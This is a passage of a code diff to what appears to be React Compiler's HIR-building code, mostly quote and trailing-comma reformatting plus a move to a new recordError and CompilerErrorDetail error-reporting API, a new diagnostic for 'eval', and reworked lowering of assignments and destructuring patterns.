     const place = lowerValueToTemporary(builder, {
-      kind: "JSXText",
+      kind: 'JSXText',
       value: text,
       loc: exprLoc,
     });
     return place;
   } else {
-    builder.errors.push({
-      reason: `(BuildHIR::lowerJsxElement) Unhandled JsxElement, got: ${exprPath.type}`,
-      severity: ErrorSeverity.Todo,
-      loc: exprPath.node.loc ?? null,
-      suggestions: null,
-    });
+    builder.recordError(
+      new CompilerErrorDetail({
+        reason: `(BuildHIR::lowerJsxElement) Unhandled JsxElement, got: ${exprPath.type}`,
+        category: ErrorCategory.Todo,
+        loc: exprPath.node.loc ?? null,
+        suggestions: null,
+      }),
+    );
     const place = lowerValueToTemporary(builder, {
-      kind: "UnsupportedNode",
+      kind: 'UnsupportedNode',
       node: exprNode,
       loc: exprLoc,
     });
@@ -3189,7 +3583,7 @@ function trimJsxText(original: string): string | null {
     }
   }
 
-  let str = "";
+  let str = '';
 
   for (let i = 0; i < lines.length; i++) {
     const line = lines[i];
@@ -3199,21 +3593,21 @@ function trimJsxText(original: string): string | null {
     const isLastNonEmptyLine = i === lastNonEmptyLine;
 
     // replace rendered whitespace tabs with spaces
-    let trimmedLine = line.replace(/\t/g, " ");
+    let trimmedLine = line.replace(/\t/g, ' ');
 
     // trim whitespace touching a newline
     if (!isFirstLine) {
-      trimmedLine = trimmedLine.replace(/^[ ]+/, "");
+      trimmedLine = trimmedLine.replace(/^[ ]+/, '');
     }
 
     // trim whitespace touching an endline
     if (!isLastLine) {
-      trimmedLine = trimmedLine.replace(/[ ]+$/, "");
+      trimmedLine = trimmedLine.replace(/[ ]+$/, '');
     }
 
     if (trimmedLine) {
       if (!isLastNonEmptyLine) {
-        trimmedLine += " ";
+        trimmedLine += ' ';
       }
 
       str += trimmedLine;
@@ -3231,22 +3625,16 @@ function lowerFunctionToValue(
   builder: HIRBuilder,
   expr: NodePath<
     t.FunctionExpression | t.ArrowFunctionExpression | t.FunctionDeclaration
-  >
+  >,
 ): InstructionValue {
   const exprNode = expr.node;
   const exprLoc = exprNode.loc ?? GeneratedSource;
-  let name: string | null = null;
-  if (expr.isFunctionExpression()) {
-    name = expr.get("id")?.node?.name ?? null;
-  }
   const loweredFunc = lowerFunction(builder, expr);
-  if (!loweredFunc) {
-    return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
-  }
   return {
-    kind: "FunctionExpression",
-    name,
-    expr: expr.node,
+    kind: 'FunctionExpression',
+    name: loweredFunc.func.id,
+    nameHint: null,
+    type: expr.node.type,
     loc: exprLoc,
     loweredFunc,
   };
@@ -3259,10 +3647,10 @@ function lowerFunction(
     | t.ArrowFunctionExpression
     | t.FunctionDeclaration
     | t.ObjectMethod
-  >
-): LoweredFunction | null {
-  const componentScope: Scope = builder.parentFunction.scope;
-  const captured = gatherCapturedDeps(builder, expr, componentScope);
+  >,
+): LoweredFunction {
+  const componentScope: Scope = builder.environment.parentFunction.scope;
+  const capturedContext = gatherCapturedContext(expr, componentScope);
 
   /*
    * TODO(gsn): In the future, we could only pass in the context identifiers
@@ -3272,63 +3660,54 @@ function lowerFunction(
    * This isn't a problem in practice because use Babel's scope analysis to
    * identify the correct references.
    */
-  const lowering = lower(
+  const loweredFunc = lower(
     expr,
     builder.environment,
     builder.bindings,
-    [...builder.context, ...captured.identifiers],
-    builder.parentFunction
+    new Map([...builder.context, ...capturedContext]),
   );
-  let loweredFunc: HIRFunction;
-  if (lowering.isErr()) {
-    lowering
-      .unwrapErr()
-      .details.forEach((detail) => builder.errors.pushErrorDetail(detail));
-    return null;
-  }
-  loweredFunc = lowering.unwrap();
   return {
     func: loweredFunc,
-    dependencies: captured.refs,
   };
 }
 
 function lowerExpressionToTemporary(
   builder: HIRBuilder,
-  exprPath: NodePath<t.Expression>
+  exprPath: NodePath<t.Expression>,
 ): Place {
   const value = lowerExpression(builder, exprPath);
   return lowerValueToTemporary(builder, value);
 }
 
-function lowerValueToTemporary(
+export function lowerValueToTemporary(
   builder: HIRBuilder,
-  value: InstructionValue
+  value: InstructionValue,
 ): Place {
-  if (value.kind === "LoadLocal" && value.place.identifier.name === null) {
+  if (value.kind === 'LoadLocal' && value.place.identifier.name === null) {
     return value.place;
   }
   const place: Place = buildTemporaryPlace(builder, value.loc);
   builder.push({
     id: makeInstructionId(0),
+    lvalue: {...place},
     value: value,
+    effects: null,
     loc: value.loc,
-    lvalue: { ...place },
   });
   return place;
 }
 
 function lowerIdentifier(
   builder: HIRBuilder,
-  exprPath: NodePath<t.Identifier | t.JSXIdentifier>
+  exprPath: NodePath<t.Identifier | t.JSXIdentifier>,
 ): Place {
   const exprNode = exprPath.node;
   const exprLoc = exprNode.loc ?? GeneratedSource;
   const binding = builder.resolveIdentifier(exprPath);
   switch (binding.kind) {
-    case "Identifier": {
+    case 'Identifier': {
       const place: Place = {
-        kind: "Identifier",
+        kind: 'Identifier',
         identifier: binding.identifier,
         effect: Effect.Unknown,
         reactive: false,
@@ -3337,8 +3716,20 @@ function lowerIdentifier(
       return place;
     }
     default: {
+      if (binding.kind === 'Global' && binding.name === 'eval') {
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `The 'eval' function is not supported`,
+            description:
+              'Eval is an anti-pattern in JavaScript, and the code executed cannot be evaluated by React Compiler',
+            category: ErrorCategory.UnsupportedSyntax,
+            loc: exprPath.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+      }
       return lowerValueToTemporary(builder, {
-        kind: "LoadGlobal",
+        kind: 'LoadGlobal',
         binding,
         loc: exprLoc,
       });
@@ -3349,7 +3740,7 @@ function lowerIdentifier(
 // Creates a temporary Identifier and Place referencing that identifier.
 function buildTemporaryPlace(builder: HIRBuilder, loc: SourceLocation): Place {
   const place: Place = {
-    kind: "Identifier",
+    kind: 'Identifier',
     identifier: builder.makeTemporary(loc),
     effect: Effect.Unknown,
     reactive: false,
@@ -3360,58 +3751,62 @@ function buildTemporaryPlace(builder: HIRBuilder, loc: SourceLocation): Place {
 
 function getStoreKind(
   builder: HIRBuilder,
-  identifier: NodePath<t.Identifier>
-): "StoreLocal" | "StoreContext" {
+  identifier: NodePath<t.Identifier>,
+): 'StoreLocal' | 'StoreContext' {
   const isContext = builder.isContextIdentifier(identifier);
-  return isContext ? "StoreContext" : "StoreLocal";
+  return isContext ? 'StoreContext' : 'StoreLocal';
 }
 
 function getLoadKind(
   builder: HIRBuilder,
-  identifier: NodePath<t.Identifier | t.JSXIdentifier>
-): "LoadLocal" | "LoadContext" {
+  identifier: NodePath<t.Identifier | t.JSXIdentifier>,
+): 'LoadLocal' | 'LoadContext' {
   const isContext = builder.isContextIdentifier(identifier);
-  return isContext ? "LoadContext" : "LoadLocal";
+  return isContext ? 'LoadContext' : 'LoadLocal';
 }
 
 function lowerIdentifierForAssignment(
   builder: HIRBuilder,
   loc: SourceLocation,
   kind: InstructionKind,
-  path: NodePath<t.Identifier>
-): Place | { kind: "Global"; name: string } | null {
+  path: NodePath<t.Identifier>,
+): Place | {kind: 'Global'; name: string} | null {
   const binding = builder.resolveIdentifier(path);
-  if (binding.kind !== "Identifier") {
+  if (binding.kind !== 'Identifier') {
     if (kind === InstructionKind.Reassign) {
-      return { kind: "Global", name: path.node.name };
+      return {kind: 'Global', name: path.node.name};
     } else {
       // Else its an internal error bc we couldn't find the binding
-      builder.errors.push({
-        reason: `(BuildHIR::lowerAssignment) Could not find binding for declaration.`,
-        severity: ErrorSeverity.Invariant,
-        loc: path.node.loc ?? null,
-        suggestions: null,
-      });
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason: `(BuildHIR::lowerAssignment) Could not find binding for declaration.`,
+          category: ErrorCategory.Invariant,
+          loc: path.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
       return null;
     }
   } else if (
-    binding.bindingKind === "const" &&
+    binding.bindingKind === 'const' &&
     kind === InstructionKind.Reassign
   ) {
-    builder.errors.push({
-      reason: `Cannot reassign a \`const\` variable`,
-      severity: ErrorSeverity.InvalidJS,
-      loc: path.node.loc ?? null,
-      description:
-        binding.identifier.name != null
-          ? `\`${binding.identifier.name.value}\` is declared as const`
-          : null,
-    });
+    builder.recordError(
+      new CompilerErrorDetail({
+        reason: `Cannot reassign a \`const\` variable`,
+        category: ErrorCategory.Syntax,
+        loc: path.node.loc ?? null,
+        description:
+          binding.identifier.name != null
+            ? `\`${binding.identifier.name.value}\` is declared as const`
+            : null,
+      }),
+    );
     return null;
   }
 
   const place: Place = {
-    kind: "Identifier",
+    kind: 'Identifier',
     identifier: binding.identifier,
     effect: Effect.Unknown,
     reactive: false,
@@ -3426,137 +3821,162 @@ function lowerAssignment(
   kind: InstructionKind,
   lvaluePath: NodePath<t.LVal>,
   value: Place,
-  assignmentKind: "Destructure" | "Assignment"
+  assignmentKind: 'Destructure' | 'Assignment',
 ): InstructionValue {
   const lvalueNode = lvaluePath.node;
   switch (lvalueNode.type) {
-    case "Identifier": {
+    case 'Identifier': {
       const lvalue = lvaluePath as NodePath<t.Identifier>;
       const place = lowerIdentifierForAssignment(builder, loc, kind, lvalue);
       if (place === null) {
         return {
-          kind: "UnsupportedNode",
+          kind: 'UnsupportedNode',
           loc: lvalue.node.loc ?? GeneratedSource,
           node: lvalue.node,
         };
-      } else if (place.kind === "Global") {
+      } else if (place.kind === 'Global') {
         const temporary = lowerValueToTemporary(builder, {
-          kind: "StoreGlobal",
+          kind: 'StoreGlobal',
           name: place.name,
           value,
           loc,
         });
-        return { kind: "LoadLocal", place: temporary, loc: temporary.loc };
+        return {kind: 'LoadLocal', place: temporary, loc: temporary.loc};
       }
       const isHoistedIdentifier = builder.environment.isHoistedIdentifier(
-        lvalue.node
+        lvalue.node,
       );
 
       let temporary;
       if (builder.isContextIdentifier(lvalue)) {
-        if (kind !== InstructionKind.Reassign && !isHoistedIdentifier) {
-          if (kind === InstructionKind.Const) {
-            builder.errors.push({
+        if (kind === InstructionKind.Const && !isHoistedIdentifier) {
+          builder.recordError(
+            new CompilerErrorDetail({
               reason: `Expected \`const\` declaration not to be reassigned`,
-              severity: ErrorSeverity.InvalidJS,
+              category: ErrorCategory.Syntax,
               loc: lvalue.node.loc ?? null,
               suggestions: null,
-            });
-          }
-          lowerValueToTemporary(builder, {
-            kind: "DeclareContext",
-            lvalue: {
-              kind: InstructionKind.Let,
-              place: { ...place },
-            },
-            loc: place.loc,
-          });
+            }),
+          );
         }
 
-        temporary = lowerValueToTemporary(builder, {
-          kind: "StoreContext",
-          lvalue: { place: { ...place }, kind: InstructionKind.Reassign },
-          value,
-          loc,
-        });
+        if (
+          kind !== InstructionKind.Const &&
+          kind !== InstructionKind.Reassign &&
+          kind !== InstructionKind.Let &&
+          kind !== InstructionKind.Function
+        ) {
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason: `Unexpected context variable kind`,
+              category: ErrorCategory.Syntax,
+              loc: lvalue.node.loc ?? null,
+              suggestions: null,
+            }),
+          );
+          temporary = lowerValueToTemporary(builder, {
+            kind: 'UnsupportedNode',
+            node: lvalueNode,
+            loc: lvalueNode.loc ?? GeneratedSource,
+          });
+        } else {
+          temporary = lowerValueToTemporary(builder, {
+            kind: 'StoreContext',
+            lvalue: {place: {...place}, kind},
+            value,
+            loc,
+          });
+        }
       } else {
-        const typeAnnotation = lvalue.get("typeAnnotation");
+        const typeAnnotation = lvalue.get('typeAnnotation');
         let type: t.FlowType | t.TSType | null;
         if (typeAnnotation.isTSTypeAnnotation()) {
-          const typePath = typeAnnotation.get("typeAnnotation");
+          const typePath = typeAnnotation.get('typeAnnotation');
           type = typePath.node;
         } else if (typeAnnotation.isTypeAnnotation()) {
-          const typePath = typeAnnotation.get("typeAnnotation");
+          const typePath = typeAnnotation.get('typeAnnotation');
           type = typePath.node;
         } else {
           type = null;
         }
         temporary = lowerValueToTemporary(builder, {
-          kind: "StoreLocal",
-          lvalue: { place: { ...place }, kind },
+          kind: 'StoreLocal',
+          lvalue: {place: {...place}, kind},
           value,
           type,
           loc,
         });
       }
-      return { kind: "LoadLocal", place: temporary, loc: temporary.loc };
+      return {kind: 'LoadLocal', place: temporary, loc: temporary.loc};
     }
-    case "MemberExpression": {
+    case 'MemberExpression': {
       // This can only occur because of a coding error, parsers enforce this condition
       CompilerError.invariant(kind === InstructionKind.Reassign, {
-        reason: "MemberExpression may only appear in an assignment expression",
-        description: null,
-        loc: lvaluePath.node.loc ?? null,
-        suggestions: null,
+        reason: 'MemberExpression may only appear in an assignment expression',
+        loc: lvaluePath.node.loc ?? GeneratedSource,
       });
       const lvalue = lvaluePath as NodePath<t.MemberExpression>;
-      const property = lvalue.get("property");
-      const object = lowerExpressionToTemporary(builder, lvalue.get("object"));
-      if (!lvalue.node.computed) {
-        if (!property.isIdentifier()) {
-          builder.errors.push({
-            reason: `(BuildHIR::lowerAssignment) Handle ${property.type} properties in MemberExpression`,
-            severity: ErrorSeverity.Todo,
-            loc: property.node.loc ?? null,
-            suggestions: null,
+      const property = lvalue.get('property');
+      const object = lowerExpressionToTemporary(builder, lvalue.get('object'));
+      if (!lvalue.node.computed || lvalue.get('property').isNumericLiteral()) {
+        let temporary;
+        if (property.isIdentifier()) {
+          temporary = lowerValueToTemporary(builder, {
+            kind: 'PropertyStore',
+            object,
+            property: makePropertyLiteral(property.node.name),
+            value,
+            loc,
+          });
+        } else if (property.isNumericLiteral()) {
+          temporary = lowerValueToTemporary(builder, {
+            kind: 'PropertyStore',
+            object,
+            property: makePropertyLiteral(property.node.value),
+            value,
+            loc,
           });
-          return { kind: "UnsupportedNode", node: lvalueNode, loc };
+        } else {
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason: `(BuildHIR::lowerAssignment) Handle ${property.type} properties in MemberExpression`,
+              category: ErrorCategory.Todo,
+              loc: property.node.loc ?? null,
+              suggestions: null,
+            }),
+          );
+          return {kind: 'UnsupportedNode', node: lvalueNode, loc};
         }
-        const temporary = lowerValueToTemporary(builder, {
-          kind: "PropertyStore",
-          object,
-          property: property.node.name,
-          value,
-          loc,
-        });
-        return { kind: "LoadLocal", place: temporary, loc: temporary.loc };
+        return {kind: 'LoadLocal', place: temporary, loc: temporary.loc};
       } else {
         if (!property.isExpression()) {
-          builder.errors.push({
-            reason:
-              "(BuildHIR::lowerAssignment) Expected private name to appear as a non-computed property",
-            severity: ErrorSeverity.Todo,
-            loc: property.node.loc ?? null,
-            suggestions: null,
-          });
-          return { kind: "UnsupportedNode", node: lvalueNode, loc };
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason:
+                '(BuildHIR::lowerAssignment) Expected private name to appear as a non-computed property',
+              category: ErrorCategory.Todo,
+              loc: property.node.loc ?? null,
+              suggestions: null,
+            }),
+          );
+          return {kind: 'UnsupportedNode', node: lvalueNode, loc};
         }
         const propertyPlace = lowerExpressionToTemporary(builder, property);
         const temporary = lowerValueToTemporary(builder, {
-          kind: "ComputedStore",
+          kind: 'ComputedStore',
           object,
           property: propertyPlace,
           value,
           loc,
         });
-        return { kind: "LoadLocal", place: temporary, loc: temporary.loc };
+        return {kind: 'LoadLocal', place: temporary, loc: temporary.loc};
       }
     }
-    case "ArrayPattern": {
+    case 'ArrayPattern': {
       const lvalue = lvaluePath as NodePath<t.ArrayPattern>;
-      const elements = lvalue.get("elements");
-      const items: ArrayPattern["items"] = [];
-      const followups: Array<{ place: Place; path: NodePath<t.LVal> }> = [];
+      const elements = lvalue.get('elements');
+      const items: ArrayPattern['items'] = [];
+      const followups: Array<{place: Place; path: NodePath<t.LVal>}> = [];
       /*
        * A given destructuring statement must contain all declarations or all
        * reassignments. This is enforced by the parser, but we rewrite nested
@@ -3567,125 +3987,130 @@ function lowerAssignment(
        */
       const forceTemporaries =
         kind === InstructionKind.Reassign &&
-        (elements.some((element) => !element.isIdentifier()) ||
+        (elements.some(element => !element.isIdentifier()) ||
           elements.some(
-            (element) =>
+            element =>
               element.isIdentifier() &&
-              (getStoreKind(builder, element) !== "StoreLocal" ||
-                builder.resolveIdentifier(element).kind !== "Identifier")
+              (getStoreKind(builder, element) !== 'StoreLocal' ||
+                builder.resolveIdentifier(element).kind !== 'Identifier'),
           ));
       for (let i = 0; i < elements.length; i++) {
         const element = elements[i];
         if (element.node == null) {
           items.push({
-            kind: "Hole",
+            kind: 'Hole',
           });
           continue;
         }
         if (element.isRestElement()) {
-          const argument = element.get("argument");
+          const argument = element.get('argument');
           if (
             argument.isIdentifier() &&
             !forceTemporaries &&
-            (assignmentKind === "Assignment" ||
-              getStoreKind(builder, argument) === "StoreLocal")
+            (assignmentKind === 'Assignment' ||
+              getStoreKind(builder, argument) === 'StoreLocal')
           ) {
             const identifier = lowerIdentifierForAssignment(
               builder,
               element.node.loc ?? GeneratedSource,
               kind,
-              argument
+              argument,
             );
             if (identifier === null) {
               continue;
-            } else if (identifier.kind === "Global") {
-              builder.errors.push({
-                severity: ErrorSeverity.Todo,
-                reason:
-                  "Expected reassignment of globals to enable forceTemporaries",
-                loc: element.node.loc ?? GeneratedSource,
-              });
+            } else if (identifier.kind === 'Global') {
+              builder.recordError(
+                new CompilerErrorDetail({
+                  category: ErrorCategory.Todo,
+                  reason:
+                    'Expected reassignment of globals to enable forceTemporaries',
+                  loc: element.node.loc ?? GeneratedSource,
+                }),
+              );
               continue;
             }
             items.push({
-              kind: "Spread",
+              kind: 'Spread',
               place: identifier,
             });
           } else {
             const temp = buildTemporaryPlace(
               builder,
-              element.node.loc ?? GeneratedSource
+              element.node.loc ?? GeneratedSource,
             );
             promoteTemporary(temp.identifier);
             items.push({
-              kind: "Spread",
-              place: { ...temp },
+              kind: 'Spread',
+              place: {...temp},
             });
-            followups.push({ place: temp, path: argument as NodePath<t.LVal> }); // TODO remove type cast
+            followups.push({place: temp, path: argument as NodePath<t.LVal>}); // TODO remove type cast
           }
         } else if (
           element.isIdentifier() &&
           !forceTemporaries &&
-          (assignmentKind === "Assignment" ||
-            getStoreKind(builder, element) === "StoreLocal")
+          (assignmentKind === 'Assignment' ||
+            getStoreKind(builder, element) === 'StoreLocal')
         ) {
           const identifier = lowerIdentifierForAssignment(
             builder,
             element.node.loc ?? GeneratedSource,
             kind,
-            element
+            element,
           );
           if (identifier === null) {
             continue;
-          } else if (identifier.kind === "Global") {
-            builder.errors.push({
-              severity: ErrorSeverity.Todo,
-              reason:
-                "Expected reassignment of globals to enable forceTemporaries",
-              loc: element.node.loc ?? GeneratedSource,
-            });
+          } else if (identifier.kind === 'Global') {
+            builder.recordError(
+              new CompilerErrorDetail({
+                category: ErrorCategory.Todo,
+                reason:
+                  'Expected reassignment of globals to enable forceTemporaries',
+                loc: element.node.loc ?? GeneratedSource,
+              }),
+            );
             continue;
           }
           items.push(identifier);
         } else {
           const temp = buildTemporaryPlace(
             builder,
-            element.node.loc ?? GeneratedSource
+            element.node.loc ?? GeneratedSource,
           );
           promoteTemporary(temp.identifier);
-          items.push({ ...temp });
-          followups.push({ place: temp, path: element as NodePath<t.LVal> }); // TODO remove type cast
+          items.push({...temp});
+          followups.push({place: temp, path: element as NodePath<t.LVal>}); // TODO remove type cast
         }
       }
       const temporary = lowerValueToTemporary(builder, {
-        kind: "Destructure",
+        kind: 'Destructure',
         lvalue: {
           kind,
           pattern: {
-            kind: "ArrayPattern",
+            kind: 'ArrayPattern',
             items,
+            loc: lvalue.node.loc ?? GeneratedSource,
           },
         },
         value,
         loc,
       });
-      for (const { place, path } of followups) {
+      for (const {place, path} of followups) {
         lowerAssignment(
           builder,
           path.node.loc ?? loc,
           kind,
           path,
           place,
-          assignmentKind
+          assignmentKind,
         );
       }
-      return { kind: "LoadLocal", place: temporary, loc: value.loc };
+      return {kind: 'LoadLocal', place: temporary, loc: value.loc};
     }
-    case "ObjectPattern": {
+    case 'ObjectPattern': {
       const lvalue = lvaluePath as NodePath<t.ObjectPattern>;
-      const propertiesPaths = lvalue.get("properties");
-      const properties: ObjectPattern["properties"] = [];
-      const followups: Array<{ place: Place; path: NodePath<t.LVal> }> = [];
+      const propertiesPaths = lvalue.get('properties');
+      const properties: ObjectPattern['properties'] = [];
+      const followups: Array<{place: Place; path: NodePath<t.LVal>}> = [];
       /*
        * A given destructuring statement must contain all declarations or all
        * reassignments. This is enforced by the parser, but we rewrite nested
@@ -3697,193 +4122,206 @@ function lowerAssignment(
       const forceTemporaries =
         kind === InstructionKind.Reassign &&
         propertiesPaths.some(
-          (property) =>
+          property =>
             property.isRestElement() ||
             (property.isObjectProperty() &&
-              (!property.get("value").isIdentifier() ||
+              (!property.get('value').isIdentifier() ||
                 builder.resolveIdentifier(
-                  property.get("value") as NodePath<t.Identifier>
-                ).kind !== "Identifier"))
+                  property.get('value') as NodePath<t.Identifier>,
+                ).kind !== 'Identifier')),
         );
       for (let i = 0; i < propertiesPaths.length; i++) {
         const property = propertiesPaths[i];
         if (property.isRestElement()) {
-          const argument = property.get("argument");
+          const argument = property.get('argument');
           if (!argument.isIdentifier()) {
-            builder.errors.push({
-              reason: `(BuildHIR::lowerAssignment) Handle ${argument.node.type} rest element in ObjectPattern`,
-              severity: ErrorSeverity.Todo,
-              loc: argument.node.loc ?? null,
-              suggestions: null,
-            });
+            builder.recordError(
+              new CompilerErrorDetail({
+                reason: `(BuildHIR::lowerAssignment) Handle ${argument.node.type} rest element in ObjectPattern`,
+                category: ErrorCategory.Todo,
+                loc: argument.node.loc ?? null,
+                suggestions: null,
+              }),
+            );
             continue;
           }
           if (
             forceTemporaries ||
-            getStoreKind(builder, argument) === "StoreContext"
+            getStoreKind(builder, argument) === 'StoreContext'
           ) {
             const temp = buildTemporaryPlace(
               builder,
-              property.node.loc ?? GeneratedSource
+              property.node.loc ?? GeneratedSource,
             );
             promoteTemporary(temp.identifier);
             properties.push({
-              kind: "Spread",
-              place: { ...temp },
+              kind: 'Spread',
+              place: {...temp},
             });
-            followups.push({ place: temp, path: argument as NodePath<t.LVal> }); // TODO remove type cast
+            followups.push({place: temp, path: argument as NodePath<t.LVal>}); // TODO remove type cast
           } else {
             const identifier = lowerIdentifierForAssignment(
               builder,
               property.node.loc ?? GeneratedSource,
               kind,
-              argument
+              argument,
             );
             if (identifier === null) {
               continue;
-            } else if (identifier.kind === "Global") {
-              builder.errors.push({
-                severity: ErrorSeverity.Todo,
-                reason:
-                  "Expected reassignment of globals to enable forceTemporaries",
-                loc: property.node.loc ?? GeneratedSource,
-              });
+            } else if (identifier.kind === 'Global') {
+              builder.recordError(
+                new CompilerErrorDetail({
+                  category: ErrorCategory.Todo,
+                  reason:
+                    'Expected reassignment of globals to enable forceTemporaries',
+                  loc: property.node.loc ?? GeneratedSource,
+                }),
+              );
               continue;
             }
             properties.push({
-              kind: "Spread",
+              kind: 'Spread',
               place: identifier,
             });
           }
         } else {
           // TODO: this should always be true given the if/else
           if (!property.isObjectProperty()) {
-            builder.errors.push({
-              reason: `(BuildHIR::lowerAssignment) Handle ${property.type} properties in ObjectPattern`,
-              severity: ErrorSeverity.Todo,
-              loc: property.node.loc ?? null,
-              suggestions: null,
-            });
+            builder.recordError(
+              new CompilerErrorDetail({
+                reason: `(BuildHIR::lowerAssignment) Handle ${property.type} properties in ObjectPattern`,
+                category: ErrorCategory.Todo,
+                loc: property.node.loc ?? null,
+                suggestions: null,
+              }),
+            );
             continue;
           }
           if (property.node.computed) {
-            builder.errors.push({
-              reason: `(BuildHIR::lowerAssignment) Handle computed properties in ObjectPattern`,
-              severity: ErrorSeverity.Todo,
-              loc: property.node.loc ?? null,
-              suggestions: null,
-            });
+            builder.recordError(
+              new CompilerErrorDetail({
+                reason: `(BuildHIR::lowerAssignment) Handle computed properties in ObjectPattern`,
+                category: ErrorCategory.Todo,
+                loc: property.node.loc ?? null,
+                suggestions: null,
+              }),
+            );
             continue;
           }
           const loweredKey = lowerObjectPropertyKey(builder, property);
           if (!loweredKey) {
             continue;
           }
-          const element = property.get("value");
+          const element = property.get('value');
           if (!element.isLVal()) {
-            builder.errors.push({
-              reason: `(BuildHIR::lowerAssignment) Expected object property value to be an LVal, got: ${element.type}`,
-              severity: ErrorSeverity.Todo,
-              loc: element.node.loc ?? null,
-              suggestions: null,
-            });
+            builder.recordError(
+              new CompilerErrorDetail({
+                reason: `(BuildHIR::lowerAssignment) Expected object property value to be an LVal, got: ${element.type}`,
+                category: ErrorCategory.Todo,
+                loc: element.node.loc ?? null,
+                suggestions: null,
+              }),
+            );
             continue;
           }
           if (
             element.isIdentifier() &&
             !forceTemporaries &&
-            (assignmentKind === "Assignment" ||
-              getStoreKind(builder, element) === "StoreLocal")
+            (assignmentKind === 'Assignment' ||
+              getStoreKind(builder, element) === 'StoreLocal')
           ) {
             const identifier = lowerIdentifierForAssignment(
               builder,
               element.node.loc ?? GeneratedSource,
               kind,
-              element
+              element,
             );
             if (identifier === null) {
               continue;
-            } else if (identifier.kind === "Global") {
-              builder.errors.push({
-                severity: ErrorSeverity.Todo,
-                reason:
-                  "Expected reassignment of globals to enable forceTemporaries",
-                loc: element.node.loc ?? GeneratedSource,
-              });
+            } else if (identifier.kind === 'Global') {
+              builder.recordError(
+                new CompilerErrorDetail({
+                  category: ErrorCategory.Todo,
+                  reason:
+                    'Expected reassignment of globals to enable forceTemporaries',
+                  loc: element.node.loc ?? GeneratedSource,
+                }),
+              );
               continue;
             }
             properties.push({
-              kind: "ObjectProperty",
-              type: "property",
+              kind: 'ObjectProperty',
+              type: 'property',
               place: identifier,
               key: loweredKey,
             });
           } else {
             const temp = buildTemporaryPlace(
               builder,
-              element.node.loc ?? GeneratedSource
+              element.node.loc ?? GeneratedSource,
             );
             promoteTemporary(temp.identifier);
             properties.push({
-              kind: "ObjectProperty",
-              type: "property",
-              place: { ...temp },
+              kind: 'ObjectProperty',
+              type: 'property',
+              place: {...temp},
               key: loweredKey,
             });
-            followups.push({ place: temp, path: element as NodePath<t.LVal> }); // TODO remove type cast
+            followups.push({place: temp, path: element as NodePath<t.LVal>}); // TODO remove type cast
           }
         }
       }
       const temporary = lowerValueToTemporary(builder, {
-        kind: "Destructure",
+        kind: 'Destructure',
         lvalue: {
           kind,
           pattern: {
-            kind: "ObjectPattern",
+            kind: 'ObjectPattern',
             properties,
+            loc: lvalue.node.loc ?? GeneratedSource,
           },
         },
         value,
         loc,
       });
-      for (const { place, path } of followups) {
+      for (const {place, path} of followups) {
         lowerAssignment(
           builder,
           path.node.loc ?? loc,
           kind,
           path,
           place,
-          assignmentKind
+          assignmentKind,
         );
       }
-      return { kind: "LoadLocal", place: temporary, loc: value.loc };
+      return {kind: 'LoadLocal', place: temporary, loc: value.loc};
     }
-    case "AssignmentPattern": {
+    case 'AssignmentPattern': {
       const lvalue = lvaluePath as NodePath<t.AssignmentPattern>;
       const loc = lvalue.node.loc ?? GeneratedSource;
       const temp = buildTemporaryPlace(builder, loc);
 
-      const testBlock = builder.reserve("value");
+      const testBlock = builder.reserve('value');
       const continuationBlock = builder.reserve(builder.currentBlockKind());
 
-      const consequent = builder.enter("value", () => {
+      const consequent = builder.enter('value', () => {
         /*
          * Because we reorder evaluation, we restrict the allowed default values to those where
          * evaluation order is unobservable
          */
         const defaultValue = lowerReorderableExpression(
           builder,
-          lvalue.get("right")
+          lvalue.get('right'),
         );
         lowerValueToTemporary(builder, {
-          kind: "StoreLocal",
-          lvalue: { kind: InstructionKind.Const, place: { ...temp } },
-          value: { ...defaultValue },
+          kind: 'StoreLocal',
+          lvalue: {kind: InstructionKind.Const, place: {...temp}},
+          value: {...defaultValue},
           type: null,
           loc,
         });
         return {
-          kind: "goto",
+          kind: 'goto',
           variant: GotoVariant.Break,
           block: continuationBlock.id,
           id: makeInstructionId(0),
@@ -3891,16 +4329,16 @@ function lowerAssignment(
         };
       });
 
-      const alternate = builder.enter("value", () => {
+      const alternate = builder.enter('value', () => {
         lowerValueToTemporary(builder, {
-          kind: "StoreLocal",
-          lvalue: { kind: InstructionKind.Const, place: { ...temp } },
-          value: { ...value },
+          kind: 'StoreLocal',
+          lvalue: {kind: InstructionKind.Const, place: {...temp}},
+          value: {...value},
           type: null,
           loc,
         });
         return {
-          kind: "goto",
+          kind: 'goto',
           variant: GotoVariant.Break,
           block: continuationBlock.id,
           id: makeInstructionId(0),
@@ -3909,68 +4347,63 @@ function lowerAssignment(
       });
       builder.terminateWithContinuation(
         {
-          kind: "ternary",
+          kind: 'ternary',
           test: testBlock.id,
           fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
           loc,
         },
-        testBlock
+        testBlock,
       );
       const undef = lowerValueToTemporary(builder, {
-        kind: "Primitive",
+        kind: 'Primitive',
         value: undefined,
         loc,
       });
       const test = lowerValueToTemporary(builder, {
-        kind: "BinaryExpression",
-        left: { ...value },
-        operator: "===",
-        right: { ...undef },
+        kind: 'BinaryExpression',
+        left: {...value},
+        operator: '===',
+        right: {...undef},
         loc,
       });
       builder.terminateWithContinuation(
         {
-          kind: "branch",
-          test: { ...test },
+          kind: 'branch',
+          test: {...test},
           consequent,
           alternate,
+          fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
           loc,
         },
-        continuationBlock
+        continuationBlock,
       );
 
       return lowerAssignment(
         builder,
         loc,
         kind,
-        lvalue.get("left"),
+        lvalue.get('left'),
         temp,
-        assignmentKind
+        assignmentKind,
       );
     }
     default: {
-      builder.errors.push({
-        reason: `(BuildHIR::lowerAssignment) Handle ${lvaluePath.type} assignments`,
-        severity: ErrorSeverity.Todo,
-        loc: lvaluePath.node.loc ?? null,
-        suggestions: null,
-      });
-      return { kind: "UnsupportedNode", node: lvalueNode, loc };
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason: `(BuildHIR::lowerAssignment) Handle ${lvaluePath.type} assignments`,
+          category: ErrorCategory.Todo,
+          loc: lvaluePath.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
+      return {kind: 'UnsupportedNode', node: lvalueNode, loc};
     }
